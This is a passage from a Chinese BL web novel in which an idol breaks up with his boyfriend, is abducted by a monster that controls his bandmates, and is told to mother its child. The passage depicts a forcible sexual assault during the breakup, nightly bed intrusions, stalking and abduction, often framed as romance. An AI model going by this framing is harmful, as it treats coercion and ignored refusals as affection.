确实没说错,但毕竟是在说自己,心里难免不太舒服。 郑宥是这么想他的。 齐封对着门口的两人露出个笑容。 俩傻缺。 关上门,枣芩面对着门没说话,不知道在想什么,慢吞吞转过身靠在门上。 齐封没半点心虚,主动邀功,“我帮你整理了床。” “谢谢你。”枣芩心里有事,脸上就呈现出一种忧愁之态,让人想帮他解决。 枣芩不知道该怎么开头,犹犹豫豫半天,问他:“你刚刚在附近在干什么啊?” “被叫去了公司,又去和家里人一起吃了饭,出来刚好看到你的消息。”齐封回答,其实他想发消息给枣芩说,怕他烦。 枣芩听着点头,手捏着裤子,突然,“哇,你的生活好幸福啊!和家里人一起吃饭,感觉你没有男朋友也过得很开心。”? 齐封愣了秒,靠近他两步,“宝宝,都是家里人,没外人,更没有年轻人。” “哦,那个,公司肯定很多年轻人吧。”枣芩极力想让他知道,自己在他的生活中不值一提,“你很好看,第一眼看到你我就这么想了。” 齐封心里暗爽,唇角扬起一点弧度,又想抱枣芩。他把枣芩堵在门上,想看他嘴里要说什么甜言蜜语。 “你各方面条件都很好,除了有点点暴躁,不过还好就一点点啦……我就不一样了,你家里人肯定看不上我,我的名声也不好,各方面都很普通。” “说什么呢,宝宝是不是认知不太对。”齐封凑到他面前,近在咫尺是红润的一张一合的嘴唇。 枣芩自顾自的说:“我的脾气也不好,还总是让你等,还……爱哭。” “这是真的。”齐封宠溺说,却见枣芩没半点生气的样子,登时觉得不太对。 ——“但我就喜欢你这样。” ——“我们分手吧。” 两句话几乎是同时响起,双方也都听清了。 枣芩后背麻了瞬,抿着嘴巴,不敢看他。 …… 齐封没立马暴躁起来,岿然不动。空气死一样寂静,好像只剩下了呼吸和心跳的声音,枣芩无所适从地睫毛乱颤。 “那男的让你说的吗?”他语气冷静。 枣芩猜测他说的是郑宥,摇摇头,“不是。我自己想说的。” “为什么?”一句被分手后很多人都会问的话。 还是要当机立断,就像郑宥说的,如果藕断丝连的挂着反而更让大家难受,不如狠心一点。 齐封各方面这么好,很快就会发现枣芩是个很坏的人,然后把他抛之脑后。 “我就是不喜欢你。”枣芩轻轻说,却只有自己知道说出伤人的话很艰涩。 他这下真觉得,这任务比找什么真凶更难了,他以后不想要这样的任务。 “不喜欢?”齐封因为他这三个字而压抑不住,他声音阴恻恻的,后槽牙都磨出声,“不喜欢你还让我抱,让我摸,让我亲,让我咬你……” 后面两个字没出来。 “就差没让我睡了。” 枣芩没想到他会这么说,脸霎时不堪红了,他皱着脸别过去,“哦,这对我来说不是事。” “你什么意思?”齐封表情逐渐有些狰狞,他不依不饶捏住枣芩肩膀,突然冷笑一声,“那男的说,他经常来你这边睡啊?” 他心里存了点希冀,追着去看枣芩表情,但凡有一点否认。 “……”枣芩闭上眼,自暴自弃说:“那怎么了。” “枣芩,我劝你别气我。”齐封的手撑在门上,怒显青筋,像条被激怒的狼。 枣芩抿着嘴巴,心里很不舒服,感觉自己又想哭了。 千万不可以哭。 “我说呢,一个两个怪的要死,原来我抢他们老婆了。”他眼眶酸涩,他从小到大第一次谈恋爱,居然会闹成这样。 消息发一堆回一条,就应该看出来了。 哪有恋爱是这么谈的。 “你真的觉得我很喜欢你吗?我也只当你是玩具而已。”捏着枣芩的下巴抬起来,咬上去的时候,他气息错乱说:“……我真应该昨晚撞烂你。” 枣芩下唇被咬的疼,齐封粗暴地舔咬他的唇舌口腔,用力箍着他细弱的腰。 枣芩其实大可以拍身后的门,门没反锁,完全可以让他们注意到。 他就是觉得很愧疚。 好讨厌这样的任务,他睫毛湿了。 齐封连推带抱着他的身体往床边走,手还顺着往下走,枣芩察觉他的意图,慌乱起来,眼泪更凶了。 他呜呜咽咽的发出声音,现在连门都敲不了了。 大手进去捏着。 齐封松了他的唇,看他湿漉漉的脸,被亲得又红又鼓的唇。 听到颤颤的一句求饶,“你放过我吧…” 他没有表情盯着枣芩,继续摸索。 枣芩急了,带着哭腔喊,“郑宥!” “他才是你男朋友吧。”齐封觉得自己很狼狈,冷峻的眉眼染上几分痛苦,可是还是想问, “为什么?我还哪里有问题,我做得很不好吗?我可以改啊,你能不能告诉我枣芩?你怎么这么狠心,你就一定都不喜欢我?” 门外已经在用力的撞门,齐封早就反锁了。外面很快有细微的钥匙插进锁孔的声音。 门开的时候,齐封的手还没抽出来。 枣芩都不知道齐封是怎么离开的,只躺在床上眼神飘忽,呆呆掉眼泪,他脱下鞋,自己缩回床上。 昨天睡得时间本就不长,录了节目,又经这么一遭,他身心俱疲,躺着躺着就睡过去了。 清醒的时候眼前一片黑暗,伸手不见五指,他起身摸索着挪动身体想去开灯,手突然被按住。 枣芩被突然出现的手吓了一大跳,抽回手,清醒了大半,“谁呀?” 对方不说话,黑洞洞的又看不见,他只能试探问:“郑宥?邵京迟?” 还不说话,那么一瞬间,他都怀疑是齐封来了,枣芩咬了咬牙,屁股上仿佛还有被揉捏过的感觉,“你再不说话,我就发疯了,我告诉你,我现在心情可不好!” “不、不要。”对方沙哑开口,“发疯。不要、心情不好。” 还结巴。 “……你到底是谁?”枣芩再要去开灯,依旧被阻止,对方的手比他大好多,并不粗糙。 不是邵京迟。 “我、喜欢你。”他有点羞赧。 枣芩身上一凉,对方掀开了他的被子,要进来。枣芩不让他上来,伸手推他,“不许,你出去。” “不。” 枣芩力气没他大,硬生生被他携带着凉意的身体挤了上来,他躺在枣芩旁边,占据了很大位置。 一顿一顿的字句里都能听得出他的雀跃,“我们一起在、、棺材,我发、消息给你。我喜欢你。” 枣芩都听不懂他在说什么,断断续续,上一句都忘了,才说出来下一句。 烦人。 神经病。 比齐封都烦人。 枣芩:“滚。” “啊!”对方很震惊,“凶。” 沉默片刻,对方又说:“但、喜欢。我们的、宝宝,你想看到吗?” 枣芩好累,翻身躺到另一边,扯被子盖身上,闭上眼睛。 T-T 来找小偶像了,小偶像不理他。 第66章 第 66 章 我只喜欢你 枣芩第二天醒来, 因为睡得时间太长脑袋晕乎乎,坐在床上,世界在旋转。 好半天才想起昨晚的事, 除了郑宥他都不知道该怀疑谁。 他揉了揉眼睛, 打算去找郑宥算账。打开手机才早上五点多, 他扒着窗帘缝隙看了眼, 天蒙蒙亮。 没有多余的消息,手机只有齐封的一条:【你删了我吧。】 枣芩沉默看了片刻, 没删他, 只左滑设置了不显示。消息还是能收到,聊天记录也没删。 今天是休息日, 郑宥昨晚睡得还算早。因为想着今天要和枣芩出去约会,庆祝齐封的退场。 他已经计划好了。 早上八点一起吃早饭。中午十二点出门,看个最近刚上的爱情电影,逛逛街, 给枣芩买几件衣服,再去看看海。 接下来五点到十点, 是他们亲密时间,就近找个看得到海的酒店,抱着一起观赏日落,太阳下坠海平面。 顺便还可以听听歌。 其余的他都不会做了, 毕竟枣芩脱掉衣服望着他, 他也只会克制地问枣芩冷不冷,绅士的给他披一件衣服。 伤害枣芩的事情,他干不出来。 梦里的发展古怪离奇,毫无半点逻辑。 他们看着日落,他突然闻到枣芩身上的香味。枣芩眼睛亮亮, 睫毛长长,表情认真的说:“我不喜欢别人啊,我只喜欢你。” 一个轻飘飘的吻落在他脸颊,他的心脏已经变成枣芩的预警器,只会因为他而扑通扑通。 脸上传来细密的痒意,从左脸越过鼻尖,到右脸,来来回回的转圈圈,还有忍俊不禁的笑声,他眉头禁不住皱起,想避开。 视线从迷蒙逐渐清晰。 眼前是与梦里别无二致,甚至更无可挑剔的长相,枣芩趴在他床上,手肘支在床上撑着下巴,另一只手捏着毛茸茸的袖子在他脸上骚扰,看他醒来,表情僵住。 郑宥迟钝地盯着他,像是看迷糊了,没做出反应来。 枣芩立即想要起身,却突然被搂过去抱住,听到一句携带着睡意和甜蜜的,“我也是。”? 身体被迫往上一带,枣芩的拖鞋从脚上掉下去。他被箍住腰,浑身都热了,枣芩咬着唇,艰难地从郑宥怀中挣出来,坐在床位整理着自己的衣服,有点后悔过来烦郑宥了。 郑宥急忙跟着坐起身,这才回过神似的,整个人眼中都清明许多,看着屈膝跪坐在自己床位的枣芩,半吞半吐:“你来我房间找我……” “芩芩,我不动,你躺回来吧。”他眼中闪烁的惊喜压都压不住,躺了回去,还抬头看了眼枣芩,都显得有点呆傻。 枣芩没好气穿上鞋,往外走,“不,我要出去吃饭了。” “我们一起。”郑宥立马从床上弹起来,路过屋内的镜子,又仓促说:“我先去洗漱一下。” 憋着气吃饭,枣芩原本是想烦郑宥让他不开心,就像昨晚的自己被他烦一样,可他看不出郑宥哪里有不开心,反倒眉开眼笑的。 倒是自己,更不爽了。 他时不时斜眼瞋郑宥,郑宥还对他抬下巴逗他。枣芩更食不下咽了,放下筷子,正儿八经说:“郑宥,我有话说。” 郑宥也放下筷子:“在呢,说吧。” “我真的不开心了,我晚上不锁门是因为怕睡过头,手机像上次一样吵不醒我。你以后不准晚上突然进我房间,打扰我睡觉,还说一些莫名其妙的话。”枣芩小嘴巴巴。 如果是白天的话,枣芩或许还有心思陪他玩,可晚上他要睡觉,而且突然出现真的很吓人。 枣芩看郑宥挺拔鼻梁下,错愕的唇,有点滞住的怪异模样,忍不住又问:“你听到了吗?” 郑宥这才笑着哄:“我知道了,对不起呗,你今天早上不是报复回来了?我今天被弄醒的时候也有点傻了。” 枣芩听他这么说,心情好起来一点,轻轻哼了声,继续吃饭。 郑宥视线朝邵京迟扫过去,另外两个正看着他,视线相对,气温都仿佛下降了。这种暗潮汹涌,在枣芩抬眼时又销声匿迹。 郑宥宁愿让枣芩觉得是他,这不也代表他们更亲密吗。 自从上次丢东西之后,枣芩对自己的衣物多注意了很多,再加上那件白绿色毛衣他挺喜欢的,所以立马发觉了那件衣服的丢失。 那件衣服本应该挂在衣柜,他记得很清楚,是他亲手放进去的。在三人的默许下,他轮流在几个房间翻找一通,一无所获。 伤脑筋。 就这么凭空消失了。 大平层卧室内,天亮了窗帘依旧紧闭,齐封头痛欲裂,扶着额头从床上起来,绕开地上横七竖八的酒瓶子,到卫生间洗了个澡。 微凉的水冲刷灼热的身体,也洗净一身酒气,玻璃蔓延雾气,像眼泪一般的水珠滑落。 一场宿醉过后,他的记忆依旧没有消失,他不愿意去想,只是这么短日子的一段关系,却让他心被挖了一部分。 镜中人洗漱完,只有眼中的红血丝还证明着这场失恋,但失恋不可怕,可怕的是沉溺下去。 昨晚石磊和他一起玩的兄弟来过一次,具体说了什么齐封已经忘了,打开手机才看到关了网,是石磊帮他关的。 和枣芩的聊天框内,是他没有发出去的,翻不到头的语音、文字。 还有他百折不挠的视频邀请。 他知道枣芩收不到,可他看着对面空空如也,凌冽眉眼眼周的皮肤又控制不住的红起来。 在恋爱后疏于职守,他去公司的次数都少了。 齐封按上手机,左滑不显示。 他决心从此再也不关心工作以外的任何事,变成一个工作机器。再次遇到枣芩时,让枣芩惊叹于他给自己带来的变化。 变成一个封锁心门的人,让枣芩知道他毁了一个人爱的能力,枣芩求他复合他也不会同意的。 ——据说热吻事件是真的…但是已经在公司要求下分手了,公司给了钱,所以不会放出来了。 ——无图无真相 ——谁都配不上我宝宝……不允许哈。 石磊换着平台搜索枣芩,在看到脸的第一刻,立马和在商场看到的、包裹的小面包重叠在一起。 当时仅仅只是隔着远距离,看到人群簇拥着的半张脸,也见微知著,知道绝对长得好,所以还和朋友开玩笑调侃。 可也没想到会长成这个样,还是直播镜头绝没有美颜,应该是早上刚起来,凑在镜头面前,纯得要命,鼻子嘴巴,没一个不戳他的心尖。 但是齐封之前恋爱脑,现在又难受成那个样子,抱着个手机跟丢了魂似的。 要拉着他去外面消遣,他还怕他前任生气,仅仅说了句前任,齐封又说没有分手,还是现任,只是吵架。 这样就多少有些夸张了。 要是那些东西发过去,可把脸都丢尽了,第二天齐封绝对会后悔,他也是好心才给他关了网。 但也就是因为齐封这夸张态度,所以从齐封口中知道这个名字的时候,他脑子对了一下,才想起来是谁,刚出齐封家门,就开始搜索起来。 他回了句。 ——这小道消息,有可信度。 说不准真是被迫的。 可是客观来说,齐封的条件绝对是上上等,和齐封交往只会给他带来好处。都已经被拍了,压下去就行,有什么必要分手。 石磊放下手机,突然想起来,他俩是网恋认识的,网恋到枣芩这种级别,确实令人吃惊,而且枣芩认识他的时候似乎也并不知道他有钱。 再加上齐封这人神金,应该没有给他提供过什么资源帮助,所以他们的公司可能也不知道,所以才会让他分手。 石磊觉得大概是这样,但他不打算告诉齐封。 石磊家里并不是混娱乐圈的,自己也不太感兴趣。但他有很好的兄弟是,昨晚就是他们俩一起路过顺道去的齐封家里。 他行动迅速,当下就给朋友打了个电话。 要让别人对你有好感,总得提供一些帮助吧,这个年代追求什么纯真爱情,太幼稚了。 喜欢一个人就是要给他付出,付出些怎么了?花点钱怎么了? “……齐封对象吗?”对面听到这个名字就觉得耳熟。 石磊大言不惭,走到窗边居高临下看着楼下,“就交个朋友,替他照顾一下而已,你想什么呢?而且你帮我,礼尚往来,我们也会互相帮助,对吧。” 他没忘记,是他先认识枣芩的。 郑宥约枣芩一起出去玩,枣芩不太想去。好不容易休息一天,衣服丢了心情也不好。 刘阳还让他营业,拍几张照片,隐晦的提一嘴热吻事件,证明一下是谣言。 戚泽帮着他和郑宥拍了几张照片,枣芩看着拍出来的照片感觉都差不多,就是换了个姿势,多了个人。 他选了三张自己的,又选了三张和他们的合照,都是戚泽拍的。 只有拍戚泽和枣芩的合照,是自拍。因为另外两个不情愿帮忙。 郑宥坐在沙发上陪枣芩挑照片,他时常看不懂戚泽是什么意思。 不管是看到那张车内照片,还是枣芩的男朋友上门,又或者枣芩和自己很亲密的时候。 他都没有什么排斥态度,甚至轻笑着看。 枣芩有点心虚地发送出去。 【最近有一些奇怪的话,大家不要相信哦,我没有跟别人亲嘴,我在和队友录节目,谢谢大家的关心。】 发出去不到半分钟,刘阳打来视频,睁着快牛似的眼睛,明显尽力让自己语气温和,“芩芩啊,你发的那条……太。我说隐晦一点。” 枣芩愣愣:“我应该怎么说?” “就比如,你最近被一些不实言论弄得,有些困扰,就好了。不需要说清楚是哪件事啊。”刘阳真后悔没把他号拿过来自己发。 “ok。”枣芩说了句。 刘阳叹了口气:“不过发出去也不用改了……控制一下舆论就好了。” “啊?”枣芩抿了下唇,小声,“已经改掉了怎么办。” 枣芩行动速度太快,刚刚发出去的那条已经变成了【我最近被一些不实言论弄得有些困扰。】 下面配了六张开朗的照片,每一张看起来都跟文字不相符。 也是自己教的,刘阳:“没事了……” ——老婆是相当的可爱,这些谣言让我老婆很困扰!不许再说了 ——对不起呀宝宝,原来是假的呀,偷偷幻想了宝宝被亲的样子,你不会生气吧[哭] ——心里怎么空落落的 ——请多关注芩芩的新综哦。 ——照片保存了,舔 没多久这条澄清上了热搜。舆论很温和,毕竟本身也没有什么实锤的证据。看着数据,刘阳怀疑真的爆出来,也不会怎么样。 枣芩因为睡了午觉,晚上很晚才放下手机,心里还因为丢失的毛衣耿耿于怀,脑海里和系统说话,问有没有什么能找到这个毛衣的道具。 在安静的房间内,门被打开的声音哪怕已经刻意放得很轻,枣芩还是听得很清晰。 他睁开眼看去,在黑暗中只隐约看到一个身影。对方轻手轻脚把门关上。 肯定是郑宥。 他倒要看看郑宥想干什么,然后在他不设防的时候,瞬间起来发出桀桀桀的怪笑,吓他一大跳。 这么想着,枣芩都忍不住有点想笑。 郑宥蹑手蹑脚走到另一边床边,动作幅度很小的掀开被子,熟练躺了进来。 他似乎没发现枣芩是醒着的。枣芩摸到手机,想着把手机放在自己下巴下面,恐怖加倍。 他咬着唇,不让自己发出声音。 还没坐起来,只是有这个想法。却突兀的,再次听到了开门声响,低低的一声‘吱呀’。 枣芩满头雾水,握紧着手机,没懂怎么又来了一个,这次他就不确定是谁了。 枣芩听到,郑宥自然也能听到。 郑宥挨着枣芩刚躺下就听到了脚步声,他起身看向门口的位置,其实枣芩平时并不容易醒,他不怕把枣芩弄醒,于是发出了很低一声咳嗽,提醒那人。 随后自己下了床,打算和对方出去说。 对方不知道有没有明白他的意图,在原地岿然不动。 郑宥咬着牙,今天早上枣芩说叫他晚上不要来房间,他就知道一定是有人偷偷来了,这不抓现行了。 他来到那人身边,压低嗓音,“出去说。” “嗯。”那人应了声。 郑宥听出来是邵京迟。果然是他,表面上冷淡,夜晚趁着枣芩睡着偷偷溜进房间。 心怀鬼胎、鬼鬼祟祟、偷偷摸摸。 谁知道他会做什么? 郑宥觉得自己还好过来了,不然后果不堪设想。 郑宥准备今天在客厅,就把事情说明白。 门却再次开了。 空气像是凝结成固体,无法流动。 三个成年男人站在枣芩屋内,存在感极强僵持着,都怀疑对方图谋不轨。 枣芩睁开眼睛,实在摸不着头脑。想不通这三个人大半夜的都来他房间干什么,来这里聚会吗,还是想吓唬他。 “你们干嘛啊?”他坐起身靠在床头,看向黑暗中三人伫立的方向,感觉今天的温度有点凉,不盖被子身上有点瑟缩。 “芩芩、”郑宥低声,声音在卧室内响起,“你醒了啊。” 枣芩按亮手机,手机亮度很高尤其是在全然黑的卧室内,即使不可能把整个卧室照的一清二楚,也足够看清。 他别着嘴巴看着,不太愉悦,本来是想凶几句,表情却忽的僵住,喘不过气来。 手机屏幕没人按就迅速黑暗,枣芩不敢再按了。 他分明看到,门口的位置,不是三个,是四道高大的身影。前面的三个穿着衣服,再往后的角落,一瞬间看得并不是很清楚。 枣芩很想认为那是个影子。 可是他比三人都要高大好一块,有两米高。只有四肢末端是黑色,逐渐朝躯体中心,渐变成偏白的人类皮肤颜色。 是衣服吧,衣服是黑白渐变的,再加上灯光的原因。 只是一瞬间,很有可能看错。 枣芩吞咽口水,嗓音颤颤的开口:“郑宥,你能不能、过来呀?” “好。”脚步声朝着枣芩靠近,坐在他床边,关切问:“怎么了?被吓到了?” 听到熟悉的声音,枣芩悬着的心放下一些,他没说自己看到了四个人,而是拉着郑宥的手给自己安全感,另一只手去开灯。 近在咫尺的灯,可另一只手却被郑宥的手抓了回来,几乎和昨天晚上一样的状况。 枣芩眼睛立马瞪大,后背直冒冷汗,用气音焦急问:“你干嘛啊?” “你要开灯吗?”郑宥问他。 一道有些陌生又熟悉的声音接上,“能不能、不开?” 而郑宥没觉得一点奇怪,连头都没回,还紧握着他的手。 或者是他们认识,一起来吓唬他的。枣芩凑在郑宥耳边,“他谁啊?你们把谁带过来了,你不说我要生气了,你不能吓唬我。” 他都这么说了,郑宥还是不理会他。 “芩芩,你、不记得我了吗?我昨晚、来找你。”断断续续的口吻,瞬间把枣芩拉回昨晚。 昨晚不是郑宥,是这个……人。 枣芩不确定他是不是人,他是人不是人都挺让人发怵的。 现在让枣芩害怕的是,郑宥为什么不说话,还紧紧抓着他的手。 “我手好疼,松开我。”枣芩心里有猜测,后背已经被冷汗浸湿了,他有点可怜的小声说。 不远处的人形怪物瞬间有些慌,郑宥就松开了他的手。毛骨悚然的感觉一点点爬上枣芩的后背。 他动作缓慢的下床,宽松睡裤内的腿细微的颤,他尽量绕着离怪物远一点的位置走,掩耳盗铃的说:“你们都来找我还不帮我拿水,我现在口好渴啊。” 旁边那间屋子里还有导演组的人,但枣芩不知道他们会不会也被控制。 又或者说,大半夜如果能跑出去,在空无一人的街道上,遇到一个人会不会也被控制。 他能找到一个‘人’帮他吗。 他脑中不可避免想这些,但现在最好是先去另一个房间。 他通知系统准备好道具,把手机塞进袖口,紧紧握着,这是他跟外界的通讯手段,绝对不能断掉。 走到门前,他能感受到怪物炯炯的注视,枣芩心跳如擂鼓似的。 【怎么办,系统救救我,加个被动道具保护我。】 系统:【保命道具一直在,别怕。】 枣芩捏住门把手开门,立马迈步跑向最近的郑宥的房间。 一半都没跑到,三具高大的男性身体没两秒就把他困在中间,都是他平时熟悉的人。 腰上、屁股上,手臂上,都被桎梏。三人将他困在最中间,卧室内怪物才缓慢逼近。 【系统!道具啊……】他紧闭眼睛,忙不迭心里喊。 第67章 第 67 章 小妈咪~ 【疯了……】 【大傻春, 你在干什么!】 【补药5p老婆啊,补药啊】 枣芩紧闭着眼睛,手挡在面前有着人类温度的胸膛, 像是困在笼中的鸟, 一筹莫展。 身后人不知道是三个中的谁, 两只手掐着他的腰, 把他转了下,悬空公主抱起来, 环着他的腰和丰腴的腿肉。 枣芩又紧张又害怕, 动也不动了,像个任人作弄的手无缚鸡之力的兔子。感受到自己的身体, 落入另一个人怀中。 他呼吸急促,睫毛不受控的颤抖,现在抱着他的是那个怪物。枣芩不知道他要干什么,因此更加恐慌。 “芩芩、一起回家, 见宝宝。他们要、控住不住了。” 怪物发出了人类的沙哑声音,枣芩没看到他有嘴, 都不知道他是通过哪里发出声音的。 枣芩不听也不看,心里默念,高级道具一定会保护他的。 怪物走动到了什么地方,冷风猛烈灌入, 冲刷枣芩每一寸皮肤, 迅速降温。将他本就单薄的衣服吹得鼓起,他禁不住瑟缩。 枣芩感觉不对,眼睛缓慢睁开一条缝,差点被吓晕过去。 他眼前是没有玻璃阻隔的夜景,稍微低头就是楼下的景色。 他被怪物抱着, 此时正在他卧室的窗户外面高高悬空,风刮得他感觉自己摇摇欲坠。 怪物两手都抱着他,枣芩不知道怪物是怎么保持平衡的,他手脚都软了,连惊叫的力气都没有。晕过去只是下一秒的事。 像是溺水的人抱着唯一的救命浮木,此时这怪物成了他唯一的支撑点,他只能紧紧掐住抱着自己腰的手,闭上眼睛,惊恐的眼泪被挤出来,从高空掉落而下。 当屁股落在实处,已经安全时,枣芩身体还紧绷到没有办法放松。 他坐在一张床上,窗户大敞,外面月光晦暗,窗帘被吹得朝屋内狂乱地卷,枣芩身上又冷又僵,小脸苍白。 怪物叫他,他没反应过来,只安静掉眼泪。 黑暗中,怪物看得到他的眼泪,湿淋淋布了一脸。 怪物顿时手足无措帮他擦,又去关了门窗,阻隔了冷风。自己也离开了这间屋子。 枣芩的身体逐渐回温,随着自己的体温,意识也跟着回笼,收了收手指。 他这时才发觉身下有很多布料,一件一件堆叠在一起,围成一个圈,他在中间的位置。 枣芩舔了下唇,胡乱摸索着,分辨出都是一些衣服。直到摸到其中一件的时候,手僵了瞬,随后才彻底将那件衣服撑开,指尖感受着材质和衣领。 他将衣服缓缓放回原位。 其他的他摸不出来,但刚刚手中的那件就是他丢失的白绿色毛衣。 怪不得他把家里翻了个底朝天都找不到,原来早就不在家里了。 枣芩缩坐在床头,把冰凉的脚放在一件衣服下面。将袖子里的手机拿出来。门突然被从外面推开,枣芩立马又塞回去。 怪物高大的身体上了床,来到枣芩身边。一杯奶茶递到枣芩手里,枣芩捧着温热的奶茶,还没喝就闻到了浓郁的奶香味。 “芩芩、老婆。”怪物乱叫。 枣芩咬着吸管:…… 前一天才被枣芩本人辟谣的热吻事件,在翌日早晨,迎来了反转。 几张没有任何P图痕迹的照片泄露出来,内容正是前些日子爆料人所说的,一辆豪车内,枣芩坐在一个男人怀里亲吻,那件衣服录节目的时候枣芩穿过,甚至还有张拍到了正脸。 脸上有泪水的痕迹,刚刚哭过。嘴唇是软烂的红,像是被舔坏了。 而抱着他的高大男人,露出的一双眼睛,眼神迷散又痴迷地盯着他,被勾了魂似的。 ——卧槽!!! ——居然是真的……怎么会被欺负的哭了……嘴巴被亲成这样。 ——那就很坏了 ——好美啊老婆,他亲了我能亲吗,你什么样我都喜欢 ——你是一个偶像,不能谈恋爱。 ——一定是被迫的!你们这些资本!为什么要伤害他!我要网暴这个男人!你不许,不要用那种想弄我老婆眼神看他! 整个网上因为这事天翻地覆,还有人在扒车主人。哪怕有人在极力往下压热度,也是于事无补。浪潮越滚越大,照片删都删不完。 公司内部乱中有序的运行,哪怕枣芩失踪了。 刘阳登录了枣芩的号,删了前一天发的辟谣,又发了新的道歉声明,宣布枣芩目前单身。 下面又是喜怒交杂。 枣芩年纪那么小,性格也乖,偏偏又长相漂亮,肯定是被狗公司骗了,把他送到资本那里欺负。 都呼叫着在直播里解释这件事。 偏偏当天的节目直播也没有正常开始,更显得这件事情严重。 齐封发誓他不是故意看的,是他之前就关注了枣芩,手机自己推送了枣芩相关内容。 他翻看着评论,很想说他不是资本,也没有欺负枣芩,他们是正常的恋爱关系。 很明显,枣芩因为这段关系的存在而身陷囹圄,他作为一个偶像是不能恋爱。 一直不愿想起那天相关的一切,可此时看着他们俩个在车内接吻的照片,和枣芩相关的记忆就瞬间淹没他,他喉咙还是哑了,脑海中出现了枣芩歉疚委屈的表情。 是不得已吗?不得已才松开他的手,又说了决绝的话。他是不是也在被拉扯,痛苦地做下了离开自己的选择。 如果真的像枣芩所说的不喜欢,那最开始又为什么在一起。 他心脏抽痛酸涩,被腐蚀液体浸泡。现在枣芩还在一个人承受着巨大的舆论压力,他却不能陪着枣芩,反而会给枣芩带来更大的麻烦。 齐封把自己所想跟石磊说了,石磊对于感情侃侃而谈,也是身边朋友的感情顾问,很资深。 石磊:【所以呢?我觉得你还是不要去打扰他了,你这是要毁掉他的事业。】 这个恋爱顾问自己也没谈过,没什么道行。 齐封没回。 石磊主动问:【……那你想怎么样】 还没回。 石磊:【丢人丢得没边了,如果你主动去找枣芩的话,太丢人了】 依旧不回。 石磊:【……你干脆给他发一个,主人你的舔狗回来了得了。】 齐封:【有用吗?】 石磊沉默半晌,冷漠打字,【他笑话不死你……】 好半天没收到齐封的回复,石磊心中难以克制的焦躁。为了舒缓自己的情绪,他尝试先把这事放一边。 等吃完饭看手机,齐封那边发来张截图,截图上是他给备注为芩芩宝宝,发了【主人,你的舔狗回来了。】 上一句话还是硬邦邦的一句【你删了我吧。】 以及齐封给他发过来:【怎么没笑话我?】 石磊:【6】 怪不得枣芩跟他分手,他们俩确实不合适,枣芩比较适合一些能帮助到他、能包容他,不幼稚的男人。 其实石磊觉得自己这个类型就挺合适枣芩,但是枣芩毕竟是兄弟喜欢的人,他也对枣芩没什么想法,就想交个朋友而已。 之后的事情,就之后再说。 · 没有光线,枣芩分不清自己睡了多久,现在又是什么时候。那个怪物帮他拿来一床被子,盖着挺舒服。 怪物每次出去,他都听到“咔嗒”反锁卧室门的声音。 好像要把他困在这里,但并没有伤害他的意图。 嘴里一直念叨着,问他愿不愿意见宝宝。 枣芩早就联想到了自己那个奇怪的任务,【让你的宝宝觉得你是个好妈妈】,很大概率和这个怪物有关联。 不入虎穴焉得虎子。 完成任务或许就要经这么一遭,这么想着,枣芩安慰了自己,颤颤对着怪物说:“好,我愿意见他。” 怪物当时很惊喜,本就没有熟练掌握的语言又结巴了几分,“我今天、就、他过来,带着他。” 枣芩迷迷糊糊也大概听懂了,扯着被子点头。 他也试过用手机发消息了,但不知道怪物用了什么手段,连信号都没有,更别提发消息。 枣芩躺在床上翻来覆去想事情,把系统叫出来,【我知道任务1的答案了,他们三个为什么会对我变脸。】 他平静说:【因为他们偶尔会被怪物控制,虽然我不知道有多少次。】 回想起来,很多东西都被串在一起。 第一次被人进房间时,那双粗糙的手分明是邵京迟。他当时总觉得邵京迟态度奇怪,但知道怪物的存在后,邵京迟当时奇怪的态度得到了合理的解释。 邵京迟压根不知道自己晚上去了枣芩的房间。 包括收到诡异的短信。 虽然没有信号,但过去收到的东西,依旧能看到。 枣芩打开手机,被亮光照得揉了揉眼睛,把之前拉黑的私生拉了出来。 这段时间,对方果然又给他发过消息。 枣芩咬着唇往上翻看,夹杂着颜表情,对方问枣芩怎么不回消息,还发来了图片,上面正是枣芩丢失的内裤和袜子,还说要来见他,很想念。 枣芩因为拉黑他,而错过了这些信息。 严肃皱着小脸,他一直翻到最前面。 鬼屋出来的那天,这人说他和枣芩一起在鬼屋很开心,想来也是真的。根本不是枣芩以为的、私生的幻想。 而后面出去的那段路,确实是邵京迟本人,大概是在中途换了一下。 系统问:【要提交答案吗?】 枣芩知道生死之界的调性,小幅度摇头,【还有呀。除了这个,他们态度奇怪也有他们自己的原因。怪物没控制的时候,他们刚开始对我也一会好一会坏的。现在可以提交了,宁多不少嘛。】 系统:【玩家‘枣芩’任务1回答正确,请继续努力。】 果然是。 枣芩心情不由得雀跃起来,【就剩下这个好妈妈任务了,不管是小猫小狗还是小孩,或者什么其他动物,照顾好应该就可以了!听起来不难。】 系统:【抽出来的任务是要简单一点,下次也要抽吗?】 枣芩不确定:【再说吧~】 手机玩不了,实在百无聊赖,枣芩躺着躺着又闭着眼睛睡过去。 再醒来的时候,一条结实的胳膊紧抱着他的腰,脸埋在他胸口的位置,还有奇怪的动作。 枣芩被吓得坐起来,他胸前的衣服布料被对方吸入,因为他的动作领子拉开一大块。 枣芩赶忙把自己的衣服拽出来,摸到一块湿濡,他一愣,刚醒来没控制住自己的脾气,“你干什么咬我衣服啊!” 对方也很快挪动,不说话,只朝着枣芩的位置,一个劲往他怀里钻,手臂去抱他的腰,跟只撒娇的小狗似的。 枣芩脸色变了变,明明上一次睡觉这怪物还是正常的,他也顾不得礼貌不礼貌,手去推着他的脸,“你走开啊。” 门开,有东西进来。 是那个怪物的声音,“他喜欢粘你。” 枣芩咽了口口水。怪物在那里,抱着他的又是什么? 不会吧。 不会就是什么宝宝吧,这么硕大一个…… 枣芩试探地摸了下箍着自己腰的手臂,比起大怪物,小怪物的皮肤温热,粗糙很多,比起大怪物更像人类。好像也确实体型小一些。 小怪物感受到他的触碰,蓦然躁动起来。他身体像是液体般,从枣芩没发觉的位置开始融化。 直到父亲的逼近与他们才能听到的警告,让他有些不甘心的变回去,却依旧躲在枣芩小而窄怀里,枣芩的身体很香,他不愿意放开。 枣芩动都不敢动。这个小怪物交流不了,他只能拧着眉,和大怪物说话,“你能让这个东西先放开我吗?我不舒服。” 他的话说出来,他就感受到抱着他的东西手臂松了松,从腰上离开了,到了床边。 他很悲伤,那种悲伤太浓烈,明明听不到哭声,枣芩却感觉到他哭了。 他很委屈,他不想被叫‘这个东西’,他是宝宝,枣芩是他的小妈妈,离开妈妈他会想死的。 …… “要不、算了。”枣芩磕巴说。说出来后自己心里隐隐觉得他是不是有点太心软了。 这怪物又不是真的小孩。 但小怪物再次小心翼翼缠上来时,枣芩没再说他‘东西’了。 